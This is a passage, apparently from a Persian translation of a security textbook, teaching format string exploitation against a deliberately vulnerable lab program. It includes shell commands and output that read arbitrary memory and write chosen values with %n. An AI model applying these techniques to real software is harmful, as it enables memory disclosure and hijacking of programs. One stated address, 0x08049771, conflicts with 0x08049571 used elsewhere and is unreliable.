‫‪30.78383025.3830252e.30252e78.252e7838.2e783830.78383025.3830252e.30252e78.‬‬
‫‪252e7838‬‬
‫‪.2e783830.78383025.3830252e.‬‬
‫‪[*] test_val @ 0x08049570 = -72 0xffffffb8‬‬
‫‪$‬‬
‫ﻃﺮح ﺣﺎﻓﻈﻪ ﭘﺸﺘﻪ ﭘﺎﺋﯿﻦ ﺗﺮ‪ ،‬ﺑﻪ اﯾﻦ ﺻﻮرت اﺳﺖ‪ .‬ﺑﻪ ﺧﺎﻃﺮ داﺷﺘﻪ ﺑﺎﺷﯿﺪ ﮐـﻪ در ﻣﻌﻤـﺎری ‪ ،Little Endian‬ﻫـﺮ ﮐﻠﻤـﻪ ‪4‬‬
‫ﺑﺎﯾﺘﯽ ﺑﻪ ﺻﻮرت ﻣﻌﮑﻮس وﺟﻮد دارد‪ .‬ﺑﺎﯾﺖ ﻫﺎی ‪ 0x78 ،0x38 ،0x30 ،0x25‬و ‪ 0x2e‬زﯾﺎد ﺗﮑﺮار ﺷﺪه اﻧﺪ‪ .‬اﯾﻦ ﺑﺎﯾـﺖ‬
‫ﻫﺎ ﺗﻮﺟﻪ ﻣﺎ را ﺑﻪ ﺧﻮد ﺟﻠﺐ ﻣﯽ ﮐﻨﻨﺪ‪.‬‬
‫"‪$ printf "\x25\x30\x38\x78\x2e\n‬‬
‫‪%08x.‬‬
‫‪$‬‬
‫ﻣﺸﻬﻮد اﺳﺖ ﮐﻪ اﯾﻦ ﺑﺎﯾﺖ ﻫﺎ‪ ،‬ﺣﺎﻓﻈﻪ ی ﺧﻮد رﺷﺘﻪ ﻓﺮﻣﺖ ﻫﺴﺘﻨﺪ‪ .‬ﭼﻮن ﺗﺎﺑﻊ ﻓﺮﻣﺖ ﻫﻤﯿﺸﻪ در ﺑﺎﻻﺗﺮﯾﻦ ﻗﺎب ﭘﺸﺘﻪ ﻗﺮار‬
‫ﺧﻮاﻫﺪ داﺷﺖ‪ ،‬ﻟﺬا رﺷﺘﻪ ﻓﺮﻣﺖ در ﻫﺮ ﺟﺎﯾﯽ از ﭘﺸﺘﻪ ﮐﻪ ذﺧﯿﺮه ﺷﻮد‪ ،‬ﻣﮑﺎن آن در ﭘﺎﺋﯿﻦ از اﺷﺎرﮔﺮ ﻗﺎب ﻓﻌﻠﯽ )در ﯾـﮏ‬
‫آدرس ﺣﺎﻓﻈﻪ ای ﺑﺎﻻﺗﺮ( ﺗﻌﺒﯿﺮ ﻣﯽ ﺷﻮد‪ .‬از اﯾﻦ ﻣﻮﺿﻮع ﻣﯽ ﺗﻮان ﺑﺮای ﮐﻨﺘﺮل آرﮔﻮﻣﺎن ﻫﺎی ﺗﺎﺑﻊ ﻓﺮﻣﺖ اﺳـﺘﻔﺎده ﮐـﺮد‪.‬‬
‫اﮔﺮ ﭘﺎراﻣﺘﺮﻫﺎی ﻓﺮﻣﺘﯽ وﺟﻮد داﺷﺘﻪ ﺑﺎﺷﻨﺪ ﮐﻪ داده ﻫﺎﯾﺸﺎن از ﻃﺮﯾﻖ ارﺟﺎع )‪ (by-Reference‬ﻣﻨﺘﻘﻞ ﮔﺮدد )ﻣﺜـﻞ ‪%s‬‬
‫و ‪ (%n‬آﻧﮕﺎه اﯾﻦ ﻣﻮﺿﻮع ﻣﻔﯿﺪ واﻗﻊ ﺧﻮاه ﺷﺪ‪.‬‬

‫‪ .2,9,3‬ﺧﻮاﻧﺪن آدرس ﻫﺎی دﻟﺨﻮاه ﺣﺎﻓﻈﻪ‬

‫ﭘﺎراﻣﺘﺮ ﻓﺮﻣﺖ ‪ %s‬را ﻣﯽ ﺗﻮان ﺟﻬﺖ ﺧﻮاﻧﺪن آدرس ﻫﺎی دﻟﺨﻮاه ﺣﺎﻓﻈﻪ اﺳﺘﻔﺎده ﮐﺮد‪ .‬ﭼﻮن ﻣﯽ ﺗﻮان داده ﻫـﺎی رﺷـﺘﻪ‬
‫ﻓﺮﻣﺖ اﺻﻠﯽ را ﺧﻮاﻧﺪ‪ ،‬ﻟﺬا ﻣﯽ ﺗﻮان از ﺑﺨﺸﯽ از رﺷﺘﻪ ﻓﺮﻣﺖ اﺻﻠﯽ ﺑﺮای اراﺋﻪ ﯾﮏ آدرس ﺑﻪ ﭘﺎراﻣﺘﺮ ﻓﺮﻣﺖ ‪ %s‬اﺳﺘﻔﺎده‬
‫ﮐﺮد‪ .‬اﯾﻦ ﻣﻮﺿﻮع در زﯾﺮ ﺑﺮرﺳﯽ ﺷﺪه اﺳﺖ‪:‬‬
‫‪$ ./fmt_vuln AAAA%08x.%08x.%08x.%08x‬‬
‫‪The right way:‬‬
‫‪AAAA%08x.%08x.%08x.%08x‬‬
‫‪The wrong way:‬‬
‫‪AAAAbffff590.000003e8.000003e8.41414141‬‬
‫‪[*] test_val @ 0x08049570 = -72 0xffffffb8‬‬
‫‪$‬‬
‫ﭼﻬﺎر ﺑﺎﯾﺖ ‪ 0x41‬ﻣﻮﺟﻮد در ﺧﺮوﺟﯽ ﻓﻮق‪ ،‬ﻧﺸﺎن ﻣﯽ دﻫﻨـﺪ ﮐـﻪ ﭼﻬـﺎرﻣﯿﻦ ﭘـﺎراﻣﺘﺮ ﺟﻬـﺖ درﯾﺎﻓـﺖ داده ﻫـﺎی ﺧـﻮد از‬
‫اﺑﺘﺪای رﺷﺘﻪ ﻓﺮﻣﺖ ﺧﻮاﻧﺪه اﺳﺖ‪ .‬اﮔﺮ ﭼﻬﺎرﻣﯿﻦ ﭘﺎراﻣﺘﺮ ﻓﺮﻣﺖ ﺑﻪ ﺟﺎی ‪ %x‬ﺑﺎ ‪ %s‬ﺟﺎﯾﮕﺰﯾﻦ ﺷﻮد‪ ،‬ﺗﺎﺑﻊ ﻓﺮﻣﺖ ﺳﻌﯽ ﺑـﺮ‬
‫‪54‬‬
‫ﭼﺎپ رﺷﺘﻪ ﻣﻮﺟﻮد در آدرس ‪ 0x41414141‬ﺧﻮاﻫﺪ ﮐﺮد‪ .‬ﭼﻮن اﯾﻦ آدرس ﻏﯿﺮ ﻣﻌﺘﺒﺮ اﺳﺖ‪ ،‬در ﻧﺘﯿﺠﻪ اﯾﻦ ﻋﻤﻞ ﺳﺒﺐ‬
‫ﮐﺮش ﮐﺮدن ﺑﺮﻧﺎﻣﻪ ﺑﺎ ﯾﮏ ‪ Segmentation Fault‬ﻣﯽ ﺷﻮد‪ .‬اﻣﺎ اﮔﺮ ﯾـﮏ آدرس ﺣﺎﻓﻈـﻪ ﻣﻌﺘﺒـﺮ ﻣـﻮرد اﺳـﺘﻔﺎده ﻗـﺮار‬
‫ﮔﯿﺮد‪ ،‬آﻧﮕﺎه ﻣﯽ ﺗﻮان از اﯾﻦ ﻓﺮآﯾﻨﺪ ﺑﺮای ﺧﻮاﻧﺪن رﺷﺘﻪ ﻣﻮﺟﻮد در آن آدرس ﺣﺎﻓﻈﻪ اﺳﺘﻔﺎده ﮐﺮد‪.‬‬
‫‪$ ./getenvaddr PATH‬‬
‫‪PATH is located at 0xbffffd10‬‬
‫‪$ pcalc 0x10 + 4‬‬
‫‪20‬‬ ‫‪0x14‬‬ ‫‪0y10100‬‬
‫‪$ ./fmt_vuln 'printf "\x14\xfd\xff\xbf"'%08x.%08x.%08x%s‬‬
‫‪The right way:‬‬
‫‪yáÿ¿%08x.%08x.%08x%s‬‬
‫‪The wrong way:‬‬
‫‪yáÿ¿bffff480.00000065.00000000/bin:/usr/bin:/usr/local/bin:/opt/bin:/usr/X1‬‬
‫‪1R6/bin:/‬‬
‫‪usr/games/bin:/opt/insight/bin:.:/sbin:/usr/sbin:/usr/local/sbin:/home/matr‬‬
‫‪ix/bin‬‬
‫‪[*] test_val @ 0x08049570 = -72 0xffffffb8‬‬
‫‪$‬‬
‫‪$ ./fmt_vuln 'printf "\x14\xfd\xff\xbf"'%x.%x.%x%s‬‬
‫‪The right way:‬‬
‫‪yáÿ¿%x.%x.%x%s‬‬
‫‪The wrong way:‬‬
‫‪yáÿ¿bffff490.65.0/bin:/usr/bin:/usr/local/bin:/opt/bin:/usr/X11R6/bin:/usr/‬‬
‫‪games/bin‬‬
‫‪:/opt/insight/bin:.:/sbin:/usr/sbin:/usr/local/sbin:/home/matrix/bin‬‬
‫‪[*] test_val @ 0x08049570 = -72 0xffffffb8‬‬
‫در اﯾﻨﺠﺎ از ﺑﺮﻧﺎﻣﻪ ‪ getenvaddr‬ﺟﻬﺖ درﯾﺎﻓﺖ آدرس ﻣﺘﻐﯿﺮ ﻣﺤﯿﻄﯽ ‪ PATH‬اﺳﺘﻔﺎده ﮔـﺸﺘﻪ اﺳـﺖ‪ .‬ﭼـﻮن ﻃـﻮل ﻧﺎﻣـﻪ‬
‫ﺑﺮﻧﺎﻣﻪ )ﯾﻌﻨﯽ ‪ (fmt_vuln‬دو ﺑﺎﯾﺖ ﮐﻤﺘﺮ از ﻧﺎم ‪ getenvaddr‬اﺳﺖ‪ ،‬ﻟﺬا ‪ 4‬ﺑﺎﯾﺖ ﺑﻪ آدرس اﺿﺎﻓﻪ ﺷﺪه و ﺳﭙﺲ ﺑﻪ دﻟﯿـﻞ‬
‫ﻃﺮح ﺗﺮﺗﯿﺐ ﺑﺎﯾﺖ‪ ،‬ﻣﻌﮑﻮس ﻣﯽ ﺷﻮﻧﺪ‪ .‬ﭼﻬﺎرﻣﯿﻦ ﭘﺎراﻣﺘﺮ )‪ (%s‬از اﺑﺘﺪای رﺷﺘﻪ ﻓﺮﻣﺖ ﺷﺮوع ﺑـﻪ ﺧﻮاﻧـﺪن ﻣـﯽ ﮐﻨـﺪ‪ ،‬ﺑـﻪ‬
‫ﮔﻤﺎن اﯾﻨﮑﻪ اﯾﻦ ﻫﻤﺎن آدرﺳﯽ اﺳﺖ ﮐﻪ ﺑﻪ ﻋﻨﻮان آرﮔﻮﻣﺎن ﺗﺎﺑﻊ ﺑﻪ آن ﻣﻨﺘﻘﻞ ﺷﺪه اﺳﺖ‪ .‬ﭼﻮن آدرس در ﺣﻘﯿﻘﺖ ﻫﻤـﺎن‬
‫آدرس ﻣﺘﻐﯿﺮ ﻣﺤﯿﻄﯽ ‪ PATH‬اﺳﺖ‪ ،‬ﻟﺬا ﺑﻪ ﻫﻤـﺎن ﺻـﻮرﺗﯽ ﭼـﺎپ ﺷـﺪه اﺳـﺖ ﮐـﻪ در ﺻـﻮرت اﻧﺘﻘـﺎل ﯾـﮏ اﺷـﺎرﮔﺮ از‬
‫ﻣﺘﻐﯿﺮﻣﺤﯿﻄﯽ ﺑﻪ )(‪ printf‬ﭼﺎپ ﻣﯽ ﺷﺪ‪.‬‬
‫اﮐﻨﻮن ﮐﻪ ﻓﺎﺻﻠﻪ ﺑﯿﻦ اﻧﺘﻬﺎی ﻗﺎب ﭘﺸﺘﻪ و اﺑﺘﺪای ﺣﺎﻓﻈﻪ رﺷﺘﻪ ﻓﺮﻣﺖ ﺷﻨﺎﺧﺘﻪ ﺷﺪه اﺳﺖ‪ ،‬ﻣﯽ ﺗﻮان آرﮔﻮﻣـﺎن ﻫـﺎی ﻃـﻮل‬
‫ﻣﯿﺪان در ﭘﺎراﻣﺘﺮﻫﺎی ﻓﺮﻣﺖ ‪ %x‬را ﺣﺬف ﮐﺮد‪ .‬اﯾﻦ ﭘﺎراﻣﺘﺮﻫﺎی ﻓﺮﻣﺖ ﺗﻨﻬﺎ ﺑﺮای ﺑﺮرﺳﯽ داده ﻫﺎ در ﺣﺎﻓﻈﻪ )ﻗﺪم زدن‬
‫در ﺣﺎﻓﻈﻪ!( ﻣﻮرد ﻧﯿﺎز ﻫﺴﺘﻨﺪ‪ .‬ﺑﺎ اﺳﺘﻔﺎده از اﯾﻦ ﺗﮑﻨﯿﮏ ﻫﺮ آدرس ﺣﺎﻓﻈﻪ را ﻣﯽ ﺗﻮان ﺗﺤﺖ ﻋﻨﻮان ﯾـﮏ رﺷـﺘﻪ ﺑﺮرﺳـﯽ‬
‫ﮐﺮد‪.‬‬

‫‪ .2,9,4‬ﻧﻮﺷﺘﻦ در آدرس ﻫﺎی دﻟﺨﻮاه ﺣﺎﻓﻈﻪ‬

‫اﮔﺮ ﭘﺎراﻣﺘﺮ ﻓﺮﻣﺖ ‪ %s‬را ﺑﺘﻮان ﺑﺮای ﺧﻮاﻧﺪن ﯾﮏ آدرس ﺣﺎﻓﻈﻪ دﻟﺨﻮاه ﺑﮑﺎر ﺑﺮد‪ ،‬ﻣﺴﻠﻤﺎ ﻫﻤﺎن ﺗﮑﻨﯿـﮏ را ﺑـﺎ ﭘـﺎراﻣﺘﺮ‬
‫‪ %n‬ﻣﯽ ﺗﻮان ﺑﻪ ﻣﻨﻈﻮر ﻧﻮﺷﺘﻦ در ﯾﮏ آدرس ﺣﺎﻓﻈﻪ دﻟﺨﻮاه ﺑﮑﺎر ﺑﺮد‪.‬‬
‫ﻣﺘﻐﯿﺮ ‪ test_val‬ﮐﻪ آدرس و ﻣﻘﺪار آن در ﺟﻤﻼت اﺷﮑﺎل زداﯾﯽ در ﺑﺮﻧﺎﻣﻪ آﺳﯿﺐ ﭘﺬﯾﺮ ‪ fmt_vuln‬آﻣﺪه اﺳﺖ‪ ،‬ﻣﮑـﺎن‬
‫ﻣﻨﺎﺳﺒﯽ ﺑﺮای ﺟﺎﯾﻨﻮﯾﺴﯽ اﺳﺖ‪ .‬ﻣﺘﻐﯿﺮ ‪ test‬در آدرس ‪ 0x08049570‬واﻗﻊ ﺷﺪه اﺳﺖ‪ ،‬ﻟﺬا ﺑـﺎ اﺳـﺘﻔﺎده از ﯾـﮏ ﺗﮑﻨﯿـﮏ‬
‫ﻣﺎﻧﻨﺪ ﻗﺒﻞ‪ ،‬ﺑﺎﯾﺴﺘﯽ ﻗﺎدر ﺑﻪ ﻧﻮﺷﺘﻦ در اﯾﻦ ﻣﺘﻐﯿﺮ ﺑﺎﺷﯿﻢ‪.‬‬
‫‪$ ./fmt_vuln 'printf "\x70\x95\x04\x08"'%x.%x.%x%n‬‬
‫‪The right way:‬‬
‫‪%x.%x.%x%n‬‬
‫‪The wrong way:‬‬
‫‪bffff5a0.3e8.3e8‬‬
‫‪[*] test_val @ 0x08049570 = 20 0x00000014‬‬
‫‪$ ./fmt_vuln 'printf "\x70\x95\x04\x08"'%08x.%08x.%08x%n‬‬

‫‪55‬‬
‫‪The right way:‬‬
‫‪%08x.%08x.%08x%n‬‬
‫‪The wrong way:‬‬
‫‪bffff590.000003e8.000003e8‬‬
‫‪[*] test_val @ 0x08049570 = 30 0x0000001e‬‬
‫‪$‬‬
‫ﻣﺸﻬﻮد اﺳﺖ ﮐﻪ ﻣﺘﻐﯿﺮ ‪ test_val‬را ﻋﻤﻼ ﻣﯽ ﺗﻮان ﺑﺎ اﺳﺘﻔﺎده از ﭘﺎراﻣﺘﺮ ﻓﺮﻣﺖ ‪ %n‬ﺟﺎﯾﻨﻮﯾﺴﯽ ﮐﺮد‪ .‬ﻣﻘﺪار ﻧﺘﯿﺠـﻪ ﯾﺎﻓﺘـﻪ‬
‫در ﻣﺘﻐﯿﺮ ‪ test‬ﺑﻪ ﺗﻌﺪاد ﺑﺎﯾﺖ ﻫﺎی ﻧﻮﺷﺘﻪ ﺷﺪه ﺗﺎ ﻗﺒﻞ از ‪ %n‬ﺑﺴﺘﮕﯽ دارد‪ .‬اﯾﻦ ﻣﺴﺌﻠﻪ را ﻣﯽ ﺗﻮان ﺑﺎ ﺗﻐﯿﯿﺮ ﻃـﻮل ﻣﯿـﺪان‬
‫ﮐﻨﺘﺮل ﮐﺮد‪.‬‬
‫‪$ ./fmt_vuln 'printf "\x70\x95\x04\x08"'%x.%x.%100x%n‬‬
‫‪The right way:‬‬
‫‪%x.%x.%100x%n‬‬
‫‪The wrong way:‬‬
‫‪bffff5a0.3e8.‬‬
‫‪3e8‬‬
‫‪[*] test_val @ 0x08049570 = 117 0x00000075‬‬
‫‪$ ./fmt_vuln 'printf "\x70\x95\x04\x08"'%x.%x.%183x%n‬‬
‫‪The right way:‬‬
‫‪%x.%x.%183x%n‬‬
‫‪The wrong way:‬‬
‫‪bffff5a0.3e8.‬‬
‫‪3e8‬‬
‫‪[*] test_val @ 0x08049570 = 200 0x000000c8‬‬
‫‪$ ./fmt_vuln 'printf "\x70\x95\x04\x08"'%x.%x.%238x%n‬‬
‫‪The right way:‬‬
‫‪%x.%x.%238x%n‬‬
‫‪The wrong way:‬‬
‫‪bffff5a0.3e8.‬‬

‫‪3e8‬‬
‫‪[*] test_val @ 0x08049570 = 255 0x000000ff‬‬
‫‪$‬‬
‫ﺑﺎ دﺳﺘﮑﺎری و ﺗﻐﯿﯿﺮ ﻃﻮل ﻣﯿﺪانِ ﯾﮑﯽ از ﭘﺎراﻣﺘﺮﻫـﺎی ﻓﺮﻣـﺖ در ﻗﺒـﻞ از ‪ %n‬ﻣـﯽ ﺗـﻮان ﺗﻌـﺪاد ﻓﺎﺻـﻠﻪ ﺧـﺎﻟﯽ ﻣﺸﺨـﺼﯽ‬
‫)دﻟﺨﻮاه( را ﺑﻪ رﺷﺘﻪ اﺿﺎﻓﻪ ﮐﺮد‪ .‬در ﻧﺘﯿﺠﻪ ﺧﺮوﺟﯽ دارای ﺗﻌﺪادی ﺧﻂ ﯾﺎ ﻓﺎﺻﻠﻪ ﺧﺎﻟﯽ ﺧﻮاﻫﺪ ﺑﻮد ﮐﻪ ﺑـﻪ ﻫﻤـﯿﻦ ﺗﺮﺗﯿـﺐ‬
‫ﻣﯽ ﺗﻮان از آﻧﻬﺎ ﺑﺮای ﮐﻨﺘﺮل ﺗﻌﺪاد ﺑﺎﯾﺖ ﻫﺎی ﻧﻮﺷﺘﻪ ﺷﺪه ﺗﺎ ﻗﺒﻞ از ﭘﺎراﻣﺘﺮ ﻓﺮﻣﺖ ‪ %n‬اﺳـﺘﻔﺎده ﮐـﺮد‪ .‬اﯾـﻦ ﺧـﻂ ﻣـﺸﯽ‬
‫ﺑﺮای ﺗﻌﺪاد ﺑﺎﯾﺖ ﻫﺎی ﮐﻢ ﺑﻪ ﺧﻮﺑﯽ ﮐﺎر ﻣﯽ ﮐﻨﺪ‪ ،‬اﻣﺎ ﺑﺮای ﺗﻌـﺪاد ﺑﯿـﺸﺘﺮ )ﻣﺜـﻞ آدرس ﻫـﺎی ﺣﺎﻓﻈـﻪ( ﮐـﺎرﮐﺮد ﻧﺨﻮاﻫـﺪ‬
‫داﺷﺖ‪.‬‬
‫ﺑﺎ ﻧﮕﺎه ﺑﻪ ﻧﻤﺎﯾﺶ ﻫﮕﺰادﺳﯿﻤﺎل از ﻣﻘﺪار ‪ ،test_val‬واﺿﺢ اﺳﺖ ﮐﻪ ﻣﯿﺘﻮان ﮐـﻢ ارزش ﺗـﺮﯾﻦ ﺑﺎﯾـﺖ را ﮐﻨﺘـﺮل ﮐـﺮد‪ .‬ﺑـﻪ‬
‫ﺧﺎﻃﺮ داﺷﺘﻪ ﺑﺎﺷﯿﺪ ﮐﻪ ﮐﻢ ارزش ﺗﺮﯾﻦ ﺑﺎﯾﺖ ﻋﻤﻼ در اوﻟﯿﻦ ﺑﺎﯾﺖ از ﮐﻠﻤﻪ ‪ 4‬ﺑﺎﯾﺘﯽ ﻗﺮار ﮔﺮﻓﺘﻪ اﺳـﺖ )ﺑـﻪ دﻟﯿـﻞ ﺗﺮﺗﯿـﺐ‬
‫ﺑﺎﯾﺖ(‪ .‬اﯾﻦ ﻧﮑﺘﻪ را ﻣﯽ ﺗﻮان ﺟﻬﺖ ﻧﻮﺷﺘﻦ ﯾﮏ آدرس ﮐﺎﻣﻞ اﺳﺘﻔﺎده ﮐﺮد‪ .‬اﮔﺮ ﭼﻬﺎر ﻋﻤﻞ ﻧﻮﺷﺘﻦ در آدرﺳـﻬﺎی ﺣﺎﻓﻈـﻪ‬
‫ﻣﺘﻮاﻟﯽ اﻧﺠﺎم ﮔﺮدد‪ ،‬ﮐﻢ ارزش ﺗﺮﯾﻦ ﺑﺎﯾﺖ را ﻣﯽ ﺗﻮان در ﻫﺮ ﯾﮏ از ﮐﻠﻤﺎت ‪ 4‬ﺑﺎﯾﺘﯽ ﻧﻮﺷﺖ‪ ،‬ﻫﻤﺎن ﻃﻮر ﮐﻪ در زﯾـﺮ ﻧﯿـﺰ‬
‫ﺑﻪ ﺗﺼﻮﯾﺮ ﮐﺸﯿﺪه ﺷﺪه اﺳﺖ‪:‬‬

‫آدرس‬ ‫‪XX XX XX XX‬‬ ‫ﺣﺎﻓﻈﻪ‬


‫‪0x08049570‬‬ ‫‪AA 00 00 00‬‬ ‫اوﻟﯿﻦ ﻋﻤﻞ ﻧﻮﺷﺘﻦ‬
‫‪0x08049571‬‬ ‫‪BB 00 00 00‬‬ ‫دوﻣﯿﻦ ﻋﻤﻞ ﻧﻮﺷﺘﻦ‬
‫‪0x08049572‬‬ ‫‪CC 00 00 00‬‬ ‫ﺳﻮﻣﯿﻦ ﻋﻤﻞ ﻧﻮﺷﺘﻦ‬
‫‪0x08049573‬‬ ‫‪DD 00 00 00‬‬ ‫ﭼﻬﺎرﻣﯿﻦ ﻋﻤﻞ ﻧﻮﺷﺘﻦ‬
‫‪AA BB CC DD‬‬ ‫ﻧﺘﯿﺠﻪ‬

‫‪56‬‬
‫ﺑﻪ ﻋﻨﻮان ﻣﺜﺎل ﻣﯽ ﺧﻮاﻫﯿﻢ آدرس ‪ 0xDDCCBBAA‬را در ﻣﺘﻐﯿﺮ ‪ test‬ﺑﻨﻮﯾﺴﯿﻢ‪ .‬در ﺣﺎﻓﻈـﻪ‪ ،‬ﺑﺎﯾـﺴﺘﯽ اوﻟـﯿﻦ ﺑﺎﯾـﺖ از‬
‫ﻣﺘﻐﯿﺮ ‪ test‬ﺑﺮاﺑﺮ ‪ ،0xAA‬دوﻣﯿﻦ ﺑﺎﯾﺖ ‪ ،0xBB‬ﺳﻮﻣﯿﻦ ﺑﺎﯾﺖ ‪ 0xCC‬و ﻧﻬﺎﯾﺘﺎ ﭼﻬﺎرﻣﯿﻦ ﺑﺎﯾـﺖ ﺑﺮاﺑـﺮ ﺑـﺎ ‪ 0xDD‬ﺑﺎﺷـﺪ‪.‬‬
‫ﭼﻬﺎر ﻋﻤﻞ ﻧﻮﺷﺘﻦ در آدرس ﻫﺎی ‪ 0x08049572 ،0x08049571 ،0x08049570‬و ‪ 0x08049573‬ﻣﯽ ﺗﻮاﻧـﺪ اﯾـﻦ‬
‫ﻣﻬﻢ را اﻧﺠﺎم دﻫﺪ‪ .‬اوﻟﯿﻦ ﻋﻤﻞ ﻧﻮﺷﺘﻦ‪ ،‬ﻣﻘـﺪار ‪ ،0x000000aa‬دوﻣـﯿﻦ ﻋﻤـﻞ ﻧﻮﺷـﺘﻦ‪ ،‬ﻣﻘـﺪار ‪ ،0x000000bb‬ﺳـﻮﻣﯿﻦ‬
‫ﻋﻤﻞ‪ ،‬ﻣﻘﺪار ‪ 0x000000cc‬و ﻧﻬﺎﯾﺘﺎ ﭼﻬﺎرﻣﯿﻦ ﻋﻤﻞ ﻧﻮﺷﺘﻦ‪ ،‬ﻣﻘﺪار ‪ 0x000000dd‬را ﺧﻮاﻫﻨﺪ ﻧﻮﺷﺖ‪.‬‬
‫اوﻟﯿﻦ ﻋﻤﻞ ﻧﻮﺷﺘﻦ ﺑﺎﯾﺴﺘﯽ آﺳﺎن ﺑﺎﺷﺪ‪.‬‬
‫‪$ ./fmt_vuln 'printf "\x70\x95\x04\x08"'%x.%x.%x%n‬‬
‫‪The right way:‬‬
‫‪%x.%x.%x%n‬‬
‫‪The wrong way:‬‬
‫‪bffff5a0.3e8.3e8‬‬
‫‪[*] test_val @ 0x08049570 = 20 0x00000014‬‬
‫‪$ pcalc 20 - 3‬‬
‫‪17‬‬ ‫‪0x11‬‬ ‫‪0y10001‬‬
‫‪$ pcalc 0xaa - 17‬‬
‫‪153‬‬ ‫‪0x99‬‬ ‫‪0y10011001‬‬
‫‪$ ./fmt_vuln 'printf "\x70\x95\x04\x08"'%x.%x.%153x%n‬‬
‫‪The right way:‬‬
‫‪%x.%x.%153x%n‬‬
‫‪The wrong way:‬‬
‫‪bffff5a0.3e8.‬‬

‫‪3e8‬‬
‫‪[*] test_val @ 0x08049570 = 170 0x000000aa‬‬
‫‪$‬‬
‫ﺑﺎﯾﺴﺘﯽ اوﻟﯿﻦ ﺑﺎﯾﺖ ﺑﺮاﺑﺮ ﺑﺎ ‪ 0xAA‬ﺑﺎﺷﺪ و آﺧﺮﯾﻦ ﭘـﺎراﻣﺘﺮ ﻓﺮﻣـﺖ ‪ ،%x‬ﻧﯿـﺰ ﺑﺎﯾـﺴﺘﯽ ‪ 3‬ﺑﺎﯾـﺖ از ‪ 3e8‬را ﺑـﻪ ﺧﺮوﺟـﯽ‬
‫ﺑﻔﺮﺳﺘﺪ‪ .‬ﭼﻮن ﻣﻘﺪار ‪ 20‬در ﻣﺘﻐﯿﺮ ‪ test‬ﻧﻮﺷﺘﻪ ﺷﺪ‪ ،‬ﻟﺬا اﻧﺪﮐﯽ اﺳﺘﻨﺎد ﺑﻪ ﻣﺤﺎﺳﺒﺎت رﯾﺎﺿﯽ ﻧﺸﺎن ﻣﯽ دﻫﺪ ﮐﻪ ﭘﺎراﻣﺘﺮﻫﺎی‬
‫ﻓﺮﻣﺖ ﻗﺒﻞ از آن‪ 17 ،‬ﺑﺎﯾﺖ ﻧﻮﺷﺘﻪ در ﺧﺮوﺟﯽ ﻧﻮﺷﺘﻪ اﻧﺪ‪ .‬ﺑﺮای ﻣﺴﺎوی ﮐﺮدن ﮐﻢ ارزش ﺗﺮﯾﻦ ﺑﺎﯾﺖ ﺑﺎ ﻣﻘـﺪار ‪،0xAA‬‬
‫ﺑﺎﯾﺪ ﮐﺎری ﮐﺮد ﮐﻪ آﺧﺮﯾﻦ ﭘﺎراﻣﺘﺮ ﻓﺮﻣﺖ ‪ ،%x‬ﺗﻌﺪاد ‪153‬ﺑﺎﯾﺖ را )ﺑﻪ ﺟﺎی ‪ 3‬ﺑﺎﯾﺖ( ﺑﻪ ﺧﺮوﺟﯽ ﺑﻔﺮﺳﺘﺪ‪ .‬ﮔﺰﯾﻨـﻪ ﻃـﻮل‬
‫ﻣﯿﺪان ﻣﯽ ﺗﻮاﻧﺪ اﯾﻦ ﺗﻄﺒﯿﻖ را ﺑﻪ ﺧﻮﺑﯽ ﺑﺮای ﻣﺎ ﺗﺮﺗﯿﺐ دﻫﺪ‪.‬‬
‫اﮐﻨﻮن ﻋﻤﻞ ﻧﻮﺷﺘﻦ ﺑﻌﺪی ﺑﺎﯾﺪ ﺻﻮرت ﺑﭙﺬﯾﺮد‪ .‬ﻟﺬا ﺟﻬﺖ اﻓﺰاﯾﺶ ﺗﻌﺪاد ﺑﺎﯾﺖ ﻫﺎ ﺑـﻪ ‪ 187‬ﺑﺎﯾـﺖ )ﮐـﻪ در ﻫﮕﺰادﺳـﯿﻤﺎل‬
‫ﺑﺮاﺑﺮ ﻫﻤﺎن ‪ 0xBB‬اﺳﺖ(‪ ،‬ﯾﮏ آرﮔﻮﻣﺎن دﯾﮕﺮ ﻧﯿﺰ ﺑﺮای دﯾﮕﺮ ﭘﺎراﻣﺘﺮ ﻓﺮﻣﺖ ‪ %x‬ﻧﯿﺎز اﺳﺖ‪ .‬اﯾﻦ آرﮔﻮﻣـﺎن ﻣـﯽ ﺗﻮاﻧـﺪ‬
‫ﻫﺮ ﭼﯿﺰی ﺑﺎﺷﺪ؛ ﺗﻨﻬـﺎ ﺑﺎﯾـﺪ ‪ 4‬ﺑﺎﯾـﺖ ﻃـﻮل داﺷـﺘﻪ ﺑﺎﺷـﺪ و ﻫﻤﭽﻨـﯿﻦ ﺑﺎﯾـﺪ ﺑﻌـﺪ از اوﻟـﯿﻦ آدرس ﺣﺎﻓﻈـﻪ دﻟﺨـﻮاه ﯾﻌﻨـﯽ‬
‫‪ 0x08049570‬ﻗﺮار ﮔﯿﺮد‪ .‬ﭼﻮن اﯾﻦ آرﮔﻮﻣﺎن ﻫﻨﻮز در ﺣﯿﻄﻪ ﺣﺎﻓﻈﻪ رﺷﺘﻪ ﻓﺮﻣﺖ اﺳﺖ‪ ،‬ﻟﺬا ﻣﯽ ﺗﻮان اﯾﻦ ﻣﺴﺎﺋﻞ را ﺑـﻪ‬
‫ﺳﺎدﮔﯽ ﮐﻨﺘﺮل ﮐﺮد‪ .‬ﻣﺜﻼ ﮐﻠﻤﻪ ‪ JUNK‬ﭼﻬﺎر ﺑﺎﯾﺖ ﻃﻮل داﺷﺘﻪ و ﺑﻪ ﺧﻮﺑﯽ ﮐﺎر ﻣﯽ ﮐﻨﺪ‪.‬‬
‫ﭘﺲ از آن‪ ،‬آدرس ﺑﻌﺪی ﺣﺎﻓﻈﻪ ﮐﻪ ﺑﺎﯾﺪ در آن ﻧﻮﺷﺘﻪ ﺷﻮد )ﯾﻌﻨـﯽ ‪ ،(0x08049771‬ﺑﺎﯾـﺴﺘﯽ در ﺣﺎﻓﻈـﻪ ﻗـﺮار ﮔﯿـﺮد‪،‬‬
‫ﻃﻮرﯾﮑﻪ ﭘﺎراﻣﺘﺮ ﻓﺮﻣﺖ ‪ %n‬ﺑﺘﻮاﻧﺪ ﺑﻪ آن دﺳﺖ ﯾﺎﺑﺪ‪ .‬ﺑﻪ اﯾﻦ ﺻﻮرت اﺑﺘﺪای رﺷﺘﻪ ﻓﺮﻣﺖ ﺑﺎﯾـﺴﺘﯽ ﺣـﺎوی آدرس ﺣﺎﻓﻈـﻪ‬
